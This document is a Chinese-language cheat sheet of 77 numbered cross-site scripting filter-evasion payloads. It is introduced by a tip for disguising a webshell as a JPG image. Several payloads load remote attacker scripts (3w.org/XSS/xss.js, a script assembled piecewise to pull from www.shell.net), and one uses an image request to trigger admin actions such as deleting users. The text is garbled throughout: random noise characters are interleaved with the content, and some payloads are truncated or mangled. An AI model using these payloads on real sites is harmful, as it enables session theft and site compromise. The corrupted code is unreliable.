跨站图片shell
9 \! S: z. R$ k/ w1 U4 HXSS跨站代码 <script>alert("")</script>
) ]' n4 e, J8 w" ~+ D* B7 Q/ {% B- y: }2 x( j% T* ~0 W% q
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马: @5 P% e+ P2 H% ?* c0 q* [* {% p! D- V
6 E9 _6 L* h3 A+ q, [' @8 ]+ y2 r, \" V' e) c/ ]
8 q9 T" ~7 g1 t
1)普通的XSS JavaScript注入
/ w' B6 c1 k0 n- Y; f. f<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
$ a" E* ?% T0 R6 h$ `
( N. d* j+ P" |8 v$ f3 T, @& T& f(2)IMG标签XSS使用JavaScript命令
5 ` q5 Q p7 H' h) A<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
' K8 f4 H b2 q" N# w5 ~
! n% F7 B5 N/ I7 b$ {$ n(3)IMG标签无分号无引号0 j2 r _: f( R# Q9 c6 J9 p
<IMG SRC=javascript:alert(‘XSS’)>
3 c& x! r3 J2 s4 \: n
7 V8 H; z$ i i3 W* {(4)IMG标签大小写不敏感
) ~, G/ [/ X" y6 @7 H6 @& l2 W. k<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
' v! ~' ~* G4 P: z6 X5 b( G
) f6 e. l$ h* ?! {. c2 y(5)HTML编码(必须有分号)
1 U: e- a9 ?# ~( Y& K/ [<IMG SRC=javascript:alert(“XSS”)>
9 y: O3 ] c* w+ ]& Q+ y
5 Y' S& @+ N! C1 V(6)修正缺陷IMG标签
+ s- Y0 M0 }7 c9 h8 d<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”> J2 k' r ]0 z4 g' k% U
) d" f+ t3 b0 v) L6 E& U% H
(7)formCharCode标签(计算器)) {( O$ \+ u; O. }7 P
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>8 v$ d' ^) D. Z1 N% ~9 t8 B' r. w
$ \, }( k$ F7 p; r1 S
(8)UTF-8的Unicode编码(计算器)
6 f' a. M' f9 N$ J0 B<IMG SRC=jav..省略..S')>: D3 B2 Y; i3 }. P7 p [9 Z# a; ^/ P8 `
0 b$ A7 g* Q8 l. n
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)4 {" Z D/ W" y- V. c: B+ i# I2 @
<IMG SRC=jav..省略..S')>5 C$ E6 X$ x8 O' k- C
6 U: j- H: E' y; U
(10)十六进制编码也是没有分号(计算器)
1 V; C, l4 r4 b3 A<IMG SRC=java..省略..XSS')>
! c" T/ g4 ^% w% j+ L6 B: X6 i* o- @1 G3 R9 V: a& `$ }
(11)嵌入式标签,将Javascript分开- M. }. H2 T1 T
<IMG SRC=”jav ascript:alert(‘XSS’);”>
8 q: [2 ]; ^& `0 m' @) j) S& `: y$ B9 n
(12)嵌入式编码标签,将Javascript分开2 C% r1 y* c4 t8 z8 C
<IMG SRC=”jav ascript:alert(‘XSS’);”>/ w$ k4 w: L. O8 ]7 v
4 a( {9 X+ r- b A% r
(13)嵌入式换行符
1 j6 k. R* k" b7 }, m<IMG SRC=”jav ascript:alert(‘XSS’);”>
+ S" o* g3 {4 a% `, @! \' ?$ {( n3 k( g9 p: S4 M" N& i, I& p
(14)嵌入式回车
% w' G8 V- W' \# v: H<IMG SRC=”jav ascript:alert(‘XSS’);”>
8 @5 E7 S, a8 l% x4 I4 @
6 k6 u' n$ A" D2 K& \; f( g(15)嵌入式多行注入JavaScript,这是XSS极端的例子
+ h8 x k# }5 D0 f9 o- c<IMG SRC=”javascript:alert(‘XSS‘)”>1 S2 Q9 Z# u1 D, j& I
. O* `+ X0 o6 S; H# u(16)解决限制字符(要求同页面)- L! q3 Y; p+ R, Q+ d0 F( q4 B' B/ L
<script>z=’document.’</script>" S( P- _9 _' K' w2 e3 ~# b
<script>z=z+’write(“‘</script>
/ ]; M Z8 E# \2 v0 G( h<script>z=z+’<script’</script>( a# M2 l- b0 z( ~9 W
<script>z=z+’ src=ht’</script>7 T R' N# U2 D7 @& k; n
<script>z=z+’tp://ww’</script>, {( c9 M; m' R; D4 ^) H
<script>z=z+’w.shell’</script>" N+ v5 F/ `7 ?6 i- h8 i
<script>z=z+’.net/1.’</script>8 O5 r' O4 N) k" J; j& I" v4 [
<script>z=z+’js></sc’</script>
! d% N8 [" P/ g @- C+ p" Q& `<script>z=z+’ript>”)’</script>
. T* G) J) P! U' q$ D$ D( Z<script>eval_r(z)</script>7 y5 a& A+ F; K* A
, Y# M4 p# [# f5 i4 H+ ~$ v6 r5 I
(17)空字符
! H$ k) ?; j. ^) |9 Fperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
g2 V2 g. r6 H) L2 I
D) `' v: o8 _& O6 \: O/ B$ \(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
. \5 l; l* w* Q' `1 tperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
# }1 ~' i& N) a& l6 w( }
* I1 w2 g9 B5 X3 q(19)Spaces和meta前的IMG标签/ D8 y- y+ @; R* |1 [9 X
<IMG SRC=” javascript:alert(‘XSS’);”>
; B% x7 Y. W" J4 g9 |1 o: l. ^6 o, q7 j/ d6 ~2 L
(20)Non-alpha-non-digit XSS9 f$ ]# V9 n1 @0 o
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>! G1 q0 @& |! m. Z, C" i
9 D) S, ~$ N' `9 O(21)Non-alpha-non-digit XSS to 2
T. D$ [) X! n0 n9 U# l6 J<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>- C: r: z1 P# x" ]. E/ O6 B5 B
: y7 K3 @, {2 ~$ v7 }* h5 T% t8 N(22)Non-alpha-non-digit XSS to 32 x8 V- i1 f0 L
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>* K) g9 D: ]2 {) i5 O
9 ?/ ^* n4 r7 V+ V0 v
(23)双开括号+ Z1 h u5 p: Z
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
/ j8 h0 {/ r9 F0 A* E, h$ a3 P1 U" X& A% N+ A* J
(24)无结束脚本标记(仅火狐等浏览器)
% D# H- j4 O4 U' V<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
* N+ E4 g/ }! f
( c% G- \ {5 C6 b# k, r+ Y(25)无结束脚本标记2
4 v, L/ L6 y' m. k3 q# j/ _* y<SCRIPT SRC=//3w.org/XSS/xss.js>7 p$ H7 k6 H/ d) o/ J5 l; X# S) v6 G
* P, \% D% `- d2 }5 C
(26)半开的HTML/JavaScript XSS/ _/ u7 V, C. M3 W( }& x5 s
<IMG SRC=”javascript:alert(‘XSS’)”# i" i" f6 N' g4 s4 S8 c8 u! C
) A3 y8 K% t1 o2 r; V
(27)双开角括号/ d6 ^$ [0 _: s5 C0 o4 Y
<iframe src=http://3w.org/XSS.html <' R6 k" H* M5 z% |& ^% _
9 U' E7 ? a" S
(28)无单引号 双引号 分号
v, P5 ?1 e9 d<SCRIPT>a=/XSS/2 y4 y! U/ R! g" n
alert(a.source)</SCRIPT>
. L9 t& D) e9 C$ N4 A, [8 t
3 f9 r& n/ l# P8 e; p, l(29)换码过滤的JavaScript
. Q# d3 Q0 a5 O7 _\”;alert(‘XSS’);//& z9 C5 j9 y b- M# `) Q
7 v( r: P8 x* B
(30)结束Title标签) O+ ^' m! o* A' `( W
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>/ y' C" h! y1 B+ W* G7 y7 }
, Y5 r0 ~" `! a4 h4 p1 i(31)Input Image* {# ^8 G6 U U$ B
<INPUT SRC=”javascript:alert(‘XSS’);”>& m$ J+ O! o6 v; m
6 `8 ]3 B4 K: a. W) X(32)BODY Image8 W6 ]% J4 L% L3 s* W: i3 N* q
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>& ~9 `1 J! v4 {3 X9 Z
6 A' t$ V# W0 P5 O(33)BODY标签
5 d/ B# \% n& J N. F<BODY(‘XSS’)>$ f6 h _4 B7 j- w# ?1 w
6 S0 H$ \8 _! V( h+ _( D+ [- `; e
(34)IMG Dynsrc8 z' t5 S _' c T8 U$ h- _! w
<IMG DYNSRC=”javascript:alert(‘XSS’)”>6 P" \ M1 ^# S# y. }/ J/ T
5 M+ f" p6 u6 j. }$ D/ d(35)IMG Lowsrc }: L5 p5 C) m+ T& d
<IMG LOWSRC=”javascript:alert(‘XSS’)”># o e2 f: S. [6 }& K% }4 ~
6 g7 @% J0 F" e: L0 s& {; W, V6 M(36)BGSOUND
1 ]" f0 M' h6 Q0 l: h) ~ Y5 j: r<BGSOUND SRC=”javascript:alert(‘XSS’);”>
1 t4 b X* B# [7 E
' L: F% N0 l9 t7 ?- ~; ~# T8 a(37)STYLE sheet
0 D, ?+ ^" ]7 \) ^. v6 C# Q<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>% w5 j/ Q4 B. w4 z' ]* ~7 c I, ~$ }
. E1 O# \; `1 p; I: m/ p3 f(38)远程样式表0 L2 G% b4 d$ D+ q% @$ v, F5 p
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
, o2 t, _' a9 F( s2 a V5 _0 \2 }
K9 S6 o8 ]* D0 b# j/ [" d5 a(39)List-style-image(列表式)/ q2 D6 N! D3 f2 @. w5 W: y% o" |! O
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
/ d* I4 W6 }% N4 @0 M) z$ }, I }2 u: W& R0 k( D
(40)IMG VBscript, X" @. }* \. P
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
0 s8 {6 K( H E% o. h4 L
c: c5 Y/ Q" I- y7 F(41)META链接url
7 M* F: u* J( Y$ A& h( c2 g3 y' W<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
+ ^6 p6 T3 {; R6 W; K, Z8 d6 C6 H6 ^: L2 a# ~0 m4 |# X1 O9 H
(42)Iframe2 q1 O5 h* x) c1 C
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
4 u2 |- n& B- A& f, B7 R(43)Frame
2 i. {! |) H J$ k<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>2 O) j" e" B: N
3 c& x S( J1 C: }2 S) z9 G1 g
(44)Table
9 r8 e+ | p) u* X# t$ P$ L- f* c<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
/ H' N- V; i- W
* g' _2 ?7 y8 M* u& j(45)TD2 B% L, G4 D0 k: K8 I0 A
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>4 ~8 a& b- D4 U! Q j- {4 b$ L
5 Q z# l% ^! w# j7 F4 d; D0 r(46)DIV background-image9 A; e/ O [$ E! H
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
5 }8 u7 V: N8 m
E+ X' @* o8 T5 y/ Y( h n(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
4 r; s4 k: g7 p |2 M$ C<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
* q( ~- v, f) o" G; r0 J' T4 g- P8 u. i# m
(48)DIV expression
! T, g: K/ h: n<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
@7 a& s: ]- g% r
9 r9 U% r& X0 Z3 s& @* @(49)STYLE属性分拆表达4 r' I7 D$ e1 ]5 Y v1 F
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
8 g& l9 V9 S1 G$ r3 F+ g- K b+ v) P2 z+ F% K$ i5 l- y
(50)匿名STYLE(组成:开角号和一个字母开头)5 O& W) F. m1 D7 ^
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
: I/ J. d& K" J g5 F; i$ ]
6 {6 z; I8 J$ U3 I8 _5 d(51)STYLE background-image% E& r( Y0 c; x' C# p( _6 r
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>; T) @! `4 q! a+ A% J! `$ ?
6 Z4 }5 {8 ~# U
(52)IMG STYLE方式
! E4 v* s% D) h, [% }6 A6 f2 N8 eexppression(alert(“XSS”))’>+ ]7 R9 w* p; \& }/ D
2 a3 R Z: P% ]" m: X
(53)STYLE background1 q% b0 S& i$ @+ x1 [
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>! Y7 Q3 v8 I: S& n
W! K W# P, _0 e% _
(54)BASE8 X0 s* Q* A: L4 @ a8 i
<BASE HREF=”javascript:alert(‘XSS’);//”>7 ?, {4 o7 [3 c, W2 y0 B7 e% Y
% o8 T: v3 \ f; N(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS2 i" f6 o7 r: j. q8 l" n! ~
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>* A1 s% i* O9 P7 w; ?! ~( U! G
1 a4 T4 ~0 m8 }$ f( b' ?% }& P(56)在flash中使用ActionScrpt可以混进你XSS的代码$ y# l% B0 }" K/ x8 }
a=”get”;
9 u( h! _6 Z8 ]' Z( db=”URL(\”";
! A; M7 M# P( Dc=”javascript:”;
8 U4 t. c, B+ i$ Pd=”alert(‘XSS’);\”)”;
. I) B3 ], \" D7 _2 _. `4 G, O5 D5 B ^" eeval_r(a+b+c+d);
l }2 ^2 D& L- W. K" Y% ?
! M2 j6 g8 z) r, B/ {2 C; C, l7 c j(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
; V1 _2 Q) e( ]( v5 L' E<HTML xmlns:xss>& T& C$ @: D! a% u, E* w/ G
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
6 ?5 D/ J. C+ A1 T- C; O$ ]5 P<xss:xss>XSS</xss:xss>
) _ p# P" H; G</HTML>) r3 J. T: K+ E3 K
% L" I& E/ f( Q. l5 O3 {- O- N(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
+ S: B: S7 s" j5 Q [, A<SCRIPT SRC=””></SCRIPT>
) G7 p5 k1 L0 R; [) y
4 l! a0 H2 |5 f(59)IMG嵌入式命令,可执行任意命令
0 b0 R! C2 E3 e6 \! i<IMG SRC=”http://www.XXX.com/a.php?a=b”>
( y- ]8 k" A( J) V- Q/ ?3 E% f X6 d
(60)IMG嵌入式命令(a.jpg在同服务器)5 d: B1 \' c( ?2 L
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
5 e# T6 u4 D6 `* d4 n- Q/ W4 V* H" x9 Z7 P9 _! R2 R
(61)绕符号过滤3 s' H( u6 d3 U/ l0 J
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>. E7 x0 g% z6 i+ a, @6 k: f
2 j: {/ @9 t. C8 K(62)
8 e9 d" l8 r0 K# N" k<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>3 B+ x3 w. T% E$ N2 v- c9 d8 |7 O
0 l; q( `; I9 o& F7 k6 V
(63)
; n* s3 n0 b, D4 t; X<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
8 |7 F5 k- q9 K8 A7 T$ I" `: p% ~/ g5 u6 i$ t0 H R
(64)/ L; I/ k" v* [7 G# Q, o
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
" R$ T1 G% k# P+ A$ k0 C( C( t2 ~
(65)
" W2 s0 y; e6 ^7 n<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
* \4 e. S- r/ _8 A
- C* A- E5 }; {# p# J( t(66)) J3 W* N6 x1 G; {7 }
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>/ h: Q1 S8 j+ ]- w/ G' ?4 ^
8 h& z7 I- F+ M1 f9 _6 {4 u+ p
(67)
, S3 ^" E/ Y6 |' l4 C" e" |<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>0 \ L( l& Q$ T6 K& S% ?8 J1 }
3 d' V6 b1 I4 {, L/ \(68)URL绕行9 V1 z5 c; O, B% C
<A HREF=”http://127.0.0.1/”>XSS</A>" M3 {: l! J9 z0 @, q* ^
! z9 C1 U) c# I* ]% F: ~(69)URL编码
( D1 p7 L! l& s8 h- {* y& F<A HREF=”http://3w.org”>XSS</A>
' r p. B, ^2 l: L
m) J. z* H! B& n" y1 T(70)IP十进制& g/ S) t7 e1 |" J! P
<A HREF=”http://3232235521″>XSS</A>
; a! o' R* N) }; m+ t9 B: X' R; Q! N! _- x/ _0 K U
(71)IP十六进制
: L# M" F0 }% B: O7 t. g<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
- s. ^ E0 |" U" g% Q' c
0 e1 p6 s( U* G6 n: g! r(72)IP八进制
! P- ^5 l. I: S$ T/ V<A HREF=”http://0300.0250.0000.0001″>XSS</A>) i- h* M9 a2 s( r) ^' n( o9 o
, z' `$ W% B& X9 J# x/ B
(73)混合编码$ L+ |4 |) ~; w5 H2 Q2 K! z$ r
<A HREF=”h' {/ j) N# W4 @2 k
tt p://6 6.000146.0×7.147/”">XSS</A>
% E' V; @* x# X: C6 V# A- ?- {
4 f- m$ r# W8 K! \* @! ^(74)节省[http:]
/ ?% `3 `, k$ R9 w3 K; t9 r<A HREF=”//www.google.com/”>XSS</A>7 f# Y' I: M/ u+ \' V
0 ^5 X4 S+ q" \% w(75)节省[www]
5 K) F0 N4 W7 @3 L0 h<A HREF=”http://google.com/”>XSS</A>
" {( `: U9 y) p' |9 _8 k1 |2 S. V; d
: ~7 \$ d: F" g(76)绝对点绝对DNS
& }& n: E- h# F' l<A HREF=”http://www.google.com./”>XSS</A>3 Q. J2 P% v+ Q6 r l" N8 E1 L
$ K/ o8 _/ g. r; @1 v8 h
(77)javascript链接
) O0 w8 h' g" i) a' a<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
/ m4 m* ]4 Q8 H. H1 W |